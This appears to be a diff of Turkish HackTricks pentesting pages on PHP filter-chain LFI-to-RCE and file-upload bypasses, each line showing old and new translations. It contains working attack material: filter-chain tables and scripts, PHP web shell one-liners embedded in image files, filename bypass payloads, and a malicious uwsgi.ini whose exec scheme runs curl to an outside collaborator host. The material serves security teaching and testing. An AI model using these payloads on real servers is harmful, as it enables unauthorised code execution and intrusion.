- [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/) - [watchTowr – We need to talk about PHP (pearcmd.php gadget)](https://labs.watchtowr.com/form-tools-we-need-to-talk-about-php/)
- [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/) - [Orange Tsai – Confusion Attacks on Apache](https://blog.orange.tw/posts/2024-08-confusion-attacks-en/)
- [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/) - [VTENEXT 25.02 – a three-way path to RCE](https://blog.sicuranext.com/vtenext-25-02-a-three-way-path-to-rce/)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#file}} {{#file}}
EN-Local-File-Inclusion-1.pdf EN-Local-File-Inclusion-1.pdf

38
src/pentesting-web/file-inclusion/lfi2rce-via-php-filters.md
View File

@ -2,36 +2,37 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Intro
Bu [**yazı**](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d), **php filtrelerini kullanarak keyfi içerik** üretebileceğinizi açıklar. Bu, temelde **bir dosyaya yazmadan** dahil etmek için **keyfi php kodu** üretebileceğiniz anlamına gelir. ## Giriş
Temelde, scriptin amacı, dosyanın **başında** **Base64** dizesi oluşturmaktır; bu dize **sonunda** istenen yükü sağlayarak **`include` tarafından yorumlanacaktır**. Bu [**writeup** ](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d) açıklıyor ki **php filters** ile çıktı olarak rastgele içerik üretebilirsiniz. Bu temelde include için **rastgele php kodu üretebileceğiniz** anlamına gelir; bunu bir dosyaya **yazmanız gerekmeksizin** yapabilirsiniz.
Bunu yapmak için temel unsurlar: Temelde scriptin amacı, dosyanın **başında** yer alacak bir **Base64** stringi **oluşturarak**, en sonunda decode edilip istenen payload'u sağlayacak ve bu payload `include` tarafından **yorumlanacak** olmasıdır.
- `convert.iconv.UTF8.CSISO2022KR`, dizeye her zaman `\x1b$)C` ekleyecektir. Bunu yapmak için temel noktalar:
- `convert.base64-decode` son derece hoşgörülüdür, temelde geçerli base64 olmayan herhangi bir karakteri yok sayar. Beklenmedik "=" bulursa bazı sorunlar çıkarır ama bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir.
Keyfi içerik oluşturma döngüsü: - `convert.iconv.UTF8.CSISO2022KR` her zaman stringin başına `\x1b$)C` ekler
- `convert.base64-decode` son derece toleranslıdır; geçerli base64 olmayan karakterleri neredeyse tamamen yok sayar. Beklenmeyen "=" ile karşılaşırsa bazı sorunlar çıkarabilir, ancak bunlar `convert.iconv.UTF8.UTF7` filtresi ile kaldırılabilir.
1. Yukarıda açıklandığı gibi, dizeye `\x1b$)C` ekleyin. Rastgele içerik üretmek için döngü şudur:
2. Başlangıç base64'ümüzü sağlam bırakan ve eklediğimiz kısmı, base64 kodlu php kodumuzun bir sonraki kısmı için tek geçerli base64 karakteri olan bir dizeye dönüştüren bir dizi iconv dönüşümü uygulayın.
3. Dizeyi base64-decode ve base64-encode yaparak aradaki gereksiz verileri kaldırın. 1. Yukarıda açıklandığı gibi stringimizin başına `\x1b$)C` ekle
4. Oluşturmak istediğimiz base64 henüz tamamlanmadıysa 1'e geri dönün. 2. İlk base64'imizi bozmayan ve az önce eklediğimiz kısmı, içinde geçerli tek base64 karakteri base64 ile kodlanmış php kodumuzun sonraki parçası olan bir stringe dönüştüren bir iconv dönüşümleri zinciri uygula
5. Php kodumuzu almak için base64-decode yapın. 3. Stringi base64-decode ve base64-encode et; bu aradaki çöp karakterleri kaldırır
4. Oluşturmak istediğimiz base64 henüz tamamlanmadıysa 1'e geri dön
5. php kodumuzu elde etmek için base64-decode et
> [!WARNING] > [!WARNING]
> **Dahil etmeler**, genellikle dosyanın sonuna **".php" eklemek** gibi şeyler yapar; bu, istismarı zorlaştırabilir çünkü bir .php dosyası bulmanız gerekir ve bu dosya istismarı öldürmeyecek bir içeriğe sahip olmalıdır... ya da **kaynak olarak `php://temp` kullanabilirsiniz** çünkü isme **herhangi bir şey eklenebilir** (örneğin +".php") ve bu hala istismarın çalışmasına izin verir! > **Includes** genelde dosyanın sonuna **".php" eklemek** gibi işlemler yapar; bu da istismarı zorlaştırabilir çünkü exploit'i öldürmeyen bir .php dosyası bulmanız gerekir... veya **kaynak olarak `php://temp` kullanabilirsiniz** çünkü isimde **herhangi bir şeyin eklenmesine izin verir** (ör. +".php") ve exploit yine de çalışmaya devam eder!
## Sonuç veriye de ekler nasıl eklenir ## Elde edilen veriye nasıl sonek eklenir
[**Bu yazı açıklar**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix), PHP filtrelerini kullanarak sonuç dizesine ekler eklemeyi nasıl hala kötüye kullanabileceğinizi. Bu, çıktının belirli bir formatta (örneğin json veya belki bazı PNG sihirli baytları eklemek) olmasını gerektiğinde harikadır. [**This writeup explains**](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix) PHP filtrelerini kullanarak elde edilen string'e sonek eklemenin nasıl istismar edilebileceğini açıklıyor. Bu, çıktının belirli bir formata (ör. json veya bazı PNG magic byte'ları eklemek gibi) sahip olması gerektiğinde çok işe yarar.
## Otomatik Araçlar ## Otomatik Araçlar
- [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator) - [https://github.com/synacktiv/php_filter_chain_generator](https://github.com/synacktiv/php_filter_chain_generator)
- [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(ekler ekleyebilir)** - [**https://github.com/ambionics/wrapwrap**](https://github.com/ambionics/wrapwrap) **(can add suffixes)**
## Tam script ## Tam script
```python ```python
@ -95,7 +96,7 @@ print(r.text)
``` ```
### İyileştirmeler ### İyileştirmeler
Önceki script, o yük için gereken base64 karakterleriyle sınırlıdır. Bu nedenle, **tüm base64 karakterlerini brute force yapmak** için kendi scriptimi oluşturdum: Önceki script, o payload için gerekli base64 karakterleriyle sınırlıydı. Bu nedenle, tüm base64 karakterlerini **bruteforce** etmek için kendi scriptimi hazırladım:
```php ```php
conversions = { conversions = {
'0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2', '0': 'convert.iconv.UTF8.CSISO2022KR|convert.iconv.ISO2022KR.UTF16|convert.iconv.UCS-2LE.UCS-2BE|convert.iconv.TCVN.UCS2|convert.iconv.1046.UCS2',
@ -164,7 +165,7 @@ conversions = {
'=': '' '=': ''
} }
``` ```
İşte her b64 harfini üreten kodlamaları almak için **script**: Her b64 harfini üreten kodlamaları elde etmek için işte **script**:
```php ```php
<?php <?php
@ -253,6 +254,7 @@ find_vals($init);
## Daha Fazla Referans ## Daha Fazla Referans
- [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html) - [https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [The Art of PHP: CTF‑born exploits and techniques](https://blog.orange.tw/posts/2025-08-the-art-of-php-ch/)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

220
src/pentesting-web/file-upload/README.md
View File

@ -2,26 +2,26 @@
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}
## Dosya Yükleme Genel Metodolojisi ## Dosya Yükleme Genel Yöntemi
Diğer yararlı uzantılar: Diğer yararlı uzantılar:
- **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_ - **PHP**: _.php_, _.php2_, _.php3_, ._php4_, ._php5_, ._php6_, ._php7_, .phps, ._pht_, ._phtm, .phtml_, ._pgif_, _.shtml, .htaccess, .phar, .inc, .hphp, .ctp, .module_
- **PHPv8'de Çalışma**: _.php_, _.php4_, _.php5_, _.phtml_, _.module_, _.inc_, _.hphp_, _.ctp_ - **Working in PHPv8**: _.php_, _.php4_, _.php5_, .phtml_, .module_, .inc_, .hphp_, .ctp_
- **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_ - **ASP**: _.asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml_
- **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_ - **Jsp:** _.jsp, .jspx, .jsw, .jsv, .jspf, .wss, .do, .action_
- **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_ - **Coldfusion:** _.cfm, .cfml, .cfc, .dbm_
- **Flash**: _.swf_ - **Flash**: _.swf_
- **Perl**: _.pl, .cgi_ - **Perl**: _.pl, .cgi_
- **Erlang Yaws Web Sunucusu**: _.yaws_ - **Erlang Yaws Web Server**: _.yaws_
### Dosya uzantısı kontrollerini atlama ### Dosya uzantısı kontrollerini atlatma
1. Eğer uygulanıyorsa, **önceki uzantıları kontrol edin.** Ayrıca bazı **büyük harfler** kullanarak test edin: _pHp, .pHP5, .PhAr ..._ 1. Uygulanıyorsa, **önceki uzantıları** **kontrol edin**. Ayrıca bunları bazı **büyük harflerle** test edin: _pHp, .pHP5, .PhAr ..._
2. _**Yürütme uzantısından önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_ 2. _Çalıştırma uzantısından **önce geçerli bir uzantı eklemeyi kontrol edin** (önceki uzantıları da kullanın):_
- _file.png.php_ - _file.png.php_
- _file.png.Php5_ - _file.png.Php5_
3. **Sonuna özel karakterler eklemeyi** deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp kullanabilirsiniz. (_Daha önce belirtilen **uzantıları** kullanmayı da deneyebilirsiniz_) 3. Sonuna **özel karakterler** eklemeyi deneyin. Tüm **ascii** ve **Unicode** karakterlerini **bruteforce** etmek için Burp'u kullanabilirsiniz. (_Not: ayrıca daha önce bahsedilen **uzantıları** de kullanmayı deneyebilirsiniz_)
- _file.php%20_ - _file.php%20_
- _file.php%0a_ - _file.php%0a_
- _file.php%00_ - _file.php%00_
@ -31,7 +31,7 @@ Diğer yararlı uzantılar:
- _file._ - _file._
- _file.php...._ - _file.php...._
- _file.pHp5...._ - _file.pHp5...._
4. **Sunucu tarafındaki uzantı ayrıştırıcısını kandırarak** korumaları atlamayı deneyin, örneğin **uzantıyı iki katına çıkararak** veya uzantılar arasında **gereksiz** veriler (**null** baytları) ekleyerek. _Daha iyi bir yük hazırlamak için **önceki uzantıları** da kullanabilirsiniz._ 4. Sunucu tarafındaki uzantı ayrıştırıcısını **kandırarak** korumaları atlatmayı deneyin; örneğin uzantıyı **tekrarlama** veya uzantılar arasına **gereksiz veri** (**null** byte'lar) ekleme teknikleri. _Daha iyi bir payload hazırlamak için önceki uzantıları da kullanabilirsiniz._
- _file.png.php_ - _file.png.php_
- _file.png.pHp5_ - _file.png.pHp5_
- _file.php#.png_ - _file.php#.png_
@ -40,75 +40,75 @@ Diğer yararlı uzantılar:
- _file.php%0a.png_ - _file.php%0a.png_
- _file.php%0d%0a.png_ - _file.php%0d%0a.png_
- _file.phpJunk123png_ - _file.phpJunk123png_
5. Önceki kontrol için **bir başka uzantı katmanı ekleyin**: 5. Önceki kontrole **başka bir uzantı katmanı** ekleyin:
- _file.png.jpg.php_ - _file.png.jpg.php_
- _file.php%00.png%00.jpg_ - _file.php%00.png%00.jpg_
6. **Geçerli uzantıdan önce exec uzantısını koymayı** deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Herhangi bir uzantıya sahip olan Apache yanlış yapılandırmalarını istismar etmek için yararlıdır, ancak **.php** ile bitmeyenler de kod çalıştırabilir): 6. **Exec uzantısını geçerli uzantıdan önce** koymayı deneyin ve sunucunun yanlış yapılandırılmış olmasını umun. (Apache yanlış yapılandırmalarını istismar etmek için faydalıdır; bazı durumlarda dosya adı **.php** içeriyorsa, sonu .php ile bitmese bile kod çalıştırılabilir):
- _ex: file.php.png_ - _ex: file.php.png_
7. **Windows**'ta **NTFS alternatif veri akışı (ADS)** kullanın. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen bir uzantıdan önce bir iki nokta karakteri “:” eklenecektir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulacaktır (örneğin “file.asax:.jpg”). Bu dosya daha sonra kısa dosya adını kullanarak düzenlenebilir. “**::$data**” deseni de boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin ardından bir nokta karakteri eklemek, daha fazla kısıtlamayı atlamak için de yararlı olabilir (örneğin “file.asp::$data.”) 7. **Windows** ortamında **NTFS alternate data stream (ADS)** kullanımı. Bu durumda, yasaklı bir uzantıdan sonra ve izin verilen uzantıdan önce iki nokta üst üste karakteri ":" eklenir. Sonuç olarak, sunucuda **yasaklı uzantıya sahip boş bir dosya** oluşturulabilir (örn. "file.asax:.jpg"). Bu dosya daha sonra kısa dosya adı kullanımı gibi başka tekniklerle düzenlenebilir. "**::$data**” deseni ayrıca boş olmayan dosyalar oluşturmak için kullanılabilir. Bu nedenle, bu desenin sonuna bir nokta karakteri eklemek daha fazla kısıtlamayı atlatmada faydalı olabilir (örn. "file.asp::$data.")
8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Ve kötü niyetli PHP kalır. AAA<--SNIP-->AAA.php 8. Dosya adı sınırlarını aşmayı deneyin. Geçerli uzantı kesilir. Kötücül PHP geride kalır. AAA<--SNIP-->AAA.php
``` ```
# Linux maksimum 255 bayt # Linux maximum 255 bytes
/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255 /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 255
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # burada 4 çıkarın ve .png ekleyin Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4 # minus 4 here and adding .png
# Dosyayı yükleyin ve kaç karakterin izin verildiğini kontrol edin. Diyelim ki 236 # Upload the file and check response how many characters it alllows. Let's say 236
python -c 'print "A" * 232' python -c 'print "A" * 232'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
# Yükü oluşturun # Make the payload
AAA<--SNIP 232 A-->AAA.php.png AAA<--SNIP 232 A-->AAA.php.png
``` ```
### İçerik Türü, Sihirli Numara, Sıkıştırma ve Yeniden Boyutlandırmayı Atlama ### Content-Type, Magic Number, Compression & Resizing atlatma
- **Content-Type** kontrollerini atlamak için **Content-Type** **başlığının** **değerini** şu şekilde ayarlayın: _image/png_ , _text/plain , application/octet-stream_ - **Content-Type** kontrollerini, **Content-Type** başlığının değerini şu şekilde ayarlayarak atlatın: _image/png_ , _text/plain , application/octet-stream_
1. Content-Type **kelime listesi**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt) 1. Content-Type **wordlist**: [https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/Web/content-type.txt)
- **Sihirli numara** kontrolünü atlamak için dosyanın başına **gerçek bir görüntünün** **baytlarını** ekleyin ( _file_ komutunu karıştırın). Ya da **metadata** içine shell'i ekleyin:\ - **Magic number** kontrolünü atlatmak için dosyanın başına gerçek bir resmin **byte**larını ekleyin (file komutunu yanıltır). Ya da shell'i **metadata** içine yerleştirin:\
`exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\ `exiftool -Comment="<?php echo 'Command:'; if($_POST){system($_POST['cmd']);} __halt_compiler();" img.jpg`\
`\` veya yükü doğrudan bir görüntüye de **ekleyebilirsiniz**:\ `\` veya payload'u doğrudan bir görüntüye de **ekleyebilirsiniz**:\
`echo '<?php system($_REQUEST['cmd']); ?>' >> img.png` `echo '<?php system($_REQUEST['cmd']); ?>' >> img.png`
- Eğer görüntünüze **sıkıştırma ekleniyorsa**, örneğin [PHP-GD](https://www.php.net/manual/fr/book.image.php) gibi bazı standart PHP kütüphaneleri kullanarak, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - Eğer görüntünüze **sıkıştırma** uygulanıyorsa, örneğin PHP kütüphaneleri gibi [PHP-GD](https://www.php.net/manual/fr/book.image.php) kullanılıyorsa, önceki teknikler işe yaramayabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **PLTE chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_plte_png.php)
- Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir, örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanarak. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - Web sayfası ayrıca görüntüyü **yeniden boyutlandırıyor** olabilir; örneğin PHP-GD fonksiyonları `imagecopyresized` veya `imagecopyresampled` kullanabilir. Ancak, sıkıştırmadan **sağ çıkan** metin eklemek için **IDAT chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_idat_png.php)
- Görüntü yeniden boyutlandırmayı **hayatta tutacak** bir yük oluşturmak için başka bir teknik, PHP-GD fonksiyonu `thumbnailImage` kullanmaktır. Ancak, sıkıştırmayı **hayatta tutacak** bazı metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir. - Görüntü yeniden boyutlandırılmasına dayanıklı bir payload yapmak için başka bir teknik de PHP-GD fonksiyonu `thumbnailImage` kullanımına ilişkin yaklaşımdır. Bununla birlikte, sıkıştırmadan **sağ çıkan** metin eklemek için **tEXt chunk** [**burada tanımlanan teknik**](https://www.synacktiv.com/publications/persistent-php-payloads-in-pngs-how-to-inject-php-code-in-an-image-and-keep-it-there.html) kullanılabilir.
- [**Kod ile Github**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php) - [**Github with the code**](https://github.com/synacktiv/astrolock/blob/main/payloads/generators/gen_tEXt_png.php)
### Diğer Kontrol Edilecek Hileler ### Kontrol etmeniz için diğer hileler
- Yüklenmiş dosyayı **yeniden adlandırmak** için bir zafiyet bulun (uzantıyı değiştirmek için). - Zaten yüklenmiş dosyayı **yeniden adlandırmaya** (uzantıyı değiştirmek için) imkan veren bir zafiyet bulun.
- **Yerel Dosya Dahil Etme** zafiyetini bulmak, arka kapıyı çalıştırmak için. - Backdoor'u çalıştırmak için bir **Local File Inclusion** zafiyeti bulun.
- **Olası Bilgi ifşası**: - **Olası Bilgi sızması**:
1. **Aynı dosyayı** **birden fazla kez** (ve **aynı anda**) **aynı isimle** yükleyin. 1. **Aynı dosyayı** **aynı anda** **birden fazla kez** yükleyin.
2. **Zaten var olan** bir **dosya** veya **klasör** adıyla bir dosya yükleyin. 2. Zaten var olan bir **dosya** veya **klasör** adıyla bir dosya yükleyin.
3. **“.”, “..” veya “…”** gibi bir adı olan bir dosya yükleyin. Örneğin, Apache'de **Windows**'ta, uygulama yüklenen dosyaları “/www/uploads/” dizinine kaydederse, “.” dosya adı “/www/” dizininde “uploads” adında bir dosya oluşturacaktır. 3. Dosya adı olarak **"."**, **".."** veya **"…"** yükleyin. Örneğin, Apache'de Windows'ta, uygulama yüklenen dosyaları "/www/uploads/" dizinine kaydediyorsa, "." dosya adı "/www/" dizininde "uploads" adında bir dosya oluşturabilir.
4. **NTFS**'te kolayca silinmeyen bir dosya yükleyin, örneğin **“…:.jpg”**. (Windows) 4. Silinmesi zor olabilecek bir dosya yükleyin; örneğin **"…:.jpg"** NTFS'de. (Windows)
5. **Windows**'ta adında **geçersiz karakterler** içeren bir dosya yükleyin, örneğin `|<>*?”`. (Windows) 5. Windows'ta dosya adına `|<>*?”` gibi **geçersiz karakterler** içeren bir dosya yükleyin. (Windows)
6. **Windows**'ta **rezerv** (**yasaklı**) **adlar** içeren bir dosya yükleyin, örneğin CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9. 6. CON, PRN, AUX, NUL, COM1, COM2, COM3, COM4, COM5, COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8 ve LPT9 gibi Windows'ta **rezerve (yasaklanmış) adları** kullanarak dosya yükleyin.
- Ayrıca, **bir yürütülebilir dosya** (.exe) veya **.html** (daha az şüpheli) yüklemeyi deneyin, bu dosya kurban tarafından yanlışlıkla açıldığında **kod çalıştıracaktır**. - Ayrıca **çalıştırılabilir (.exe)** veya açıldığında kod çalıştırabilecek daha az şüpheli bir **.html** dosyası yüklemeyi deneyin.
### Özel uzantı hileleri ### Özel uzantı hileleri
Eğer bir **PHP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.htaccess** hilesine bir göz atın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\ Eğer dosyaları bir **PHP server**'a yüklüyorsanız, kod çalıştırmak için [**.htaccess** hilesine bakın](https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-web/php-tricks-esp/index.html#code-execution).\
Eğer bir **ASP sunucusuna** dosya yüklemeye çalışıyorsanız, [kod çalıştırmak için **.config** hilesine bir göz atın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files). Eğer dosyaları bir **ASP server**'a yüklüyorsanız, kod çalıştırmak için [**.config** hilesine bakın](../../network-services-pentesting/pentesting-web/iis-internet-information-services.md#execute-config-files).
`.phar` dosyaları, Java için `.jar` gibi, ancak PHP için olup, **bir php dosyası gibi kullanılabilir** (php ile çalıştırarak veya bir script içinde dahil ederek...) `.phar` dosyaları Java için `.jar` gibidir, ama php içindir ve **php dosyası gibi kullanılabilir** (php ile çalıştırma veya bir script içine include etme...).
`.inc` uzantısı bazen yalnızca **dosyaları içe aktarmak** için kullanılan php dosyaları için kullanılır, bu nedenle bir noktada, biri **bu uzantının çalıştırılmasına izin vermiş olabilir**. `.inc` uzantısı bazen sadece **import edilen** php dosyaları için kullanılır, bu yüzden bazı durumlarda bu uzantının **çalıştırılmasına izin verilmiş** olabilir.
## **Jetty RCE** ## **Jetty RCE**
Eğer bir XML dosyasını Jetty sunucusuna yükleyebilirseniz, [RCE elde edebilirsiniz çünkü **yeni \*.xml ve \*.war otomatik olarak işlenir**](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu nedenle, aşağıdaki resimde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell'i bekleyin! Eğer bir Jetty sunucusuna XML dosyası yükleyebiliyorsanız, [yeni \*.xml ve \*.war dosyalarının otomatik olarak işlendiği için RCE elde edebilirsiniz](https://twitter.com/ptswarm/status/1555184661751648256/photo/1)**.** Bu yüzden, aşağıdaki görselde belirtildiği gibi, XML dosyasını `$JETTY_BASE/webapps/` dizinine yükleyin ve shell bekleyin!
![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>) ![https://twitter.com/ptswarm/status/1555184661751648256/photo/1](<../../images/image (1047).png>)
## **uWSGI RCE** ## **uWSGI RCE**
Bu zafiyetin detaylı bir keşfi için orijinal araştırmaya bakın: [uWSGI RCE İstismarı](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html). Bu zafiyeti ayrıntılı incelemek için orijinal araştırmaya bakın: [uWSGI RCE Exploitation](https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html).
Uzak Komut Yürütme (RCE) zafiyetleri, `.ini` yapılandırma dosyasını değiştirme yeteneğine sahip olan uWSGI sunucularında istismar edilebilir. uWSGI yapılandırma dosyaları, "sihirli" değişkenleri, yer tutucuları ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü, bir dosyanın içeriğini dahil etmek için tasarlanmıştır. uWSGI'de desteklenen çeşitli şemalar arasında, "exec" şeması özellikle güçlüdür ve bir sürecin standart çıktısından veri okumaya olanak tanır. Bu özellik, bir `.ini` yapılandırma dosyası işlendiğinde, Uzak Komut Yürütme veya Rastgele Dosya Yazma/Okuma gibi kötü niyetli amaçlar için manipüle edilebilir. Remote Command Execution (RCE) zafiyetleri, `.ini` konfigürasyon dosyasını değiştirme yeteneğiniz varsa uWSGI sunucularında istismar edilebilir. uWSGI konfigürasyon dosyaları, "magic" değişkenler, yer tutucular ve operatörleri dahil etmek için belirli bir sözdizimi kullanır. Özellikle, `@(filename)` olarak kullanılan '@' operatörü bir dosyanın içeriğini include etmek için tasarlanmıştır. uWSGI tarafından desteklenen çeşitli şemalar arasında "exec" şeması özellikle güçlüdür; bu şema bir sürecin standart çıktısından veri okumaya izin verir. Bir `.ini` konfigürasyon dosyası işlenirken bu özellik, Remote Command Execution veya Arbitrary File Write/Read gibi kötü amaçlı kullanımlar için manipüle edilebilir.
Aşağıdaki örnekte, çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası düşünün: Aşağıda çeşitli şemaları gösteren zararlı bir `uwsgi.ini` dosyası örneğini düşünün:
```ini ```ini
[uwsgi] [uwsgi]
; read from a symbol ; read from a symbol
@ -126,14 +126,14 @@ extra = @(exec://curl http://collaborator-unique-host.oastify.com)
; call a function returning a char * ; call a function returning a char *
characters = @(call://uwsgi_func) characters = @(call://uwsgi_func)
``` ```
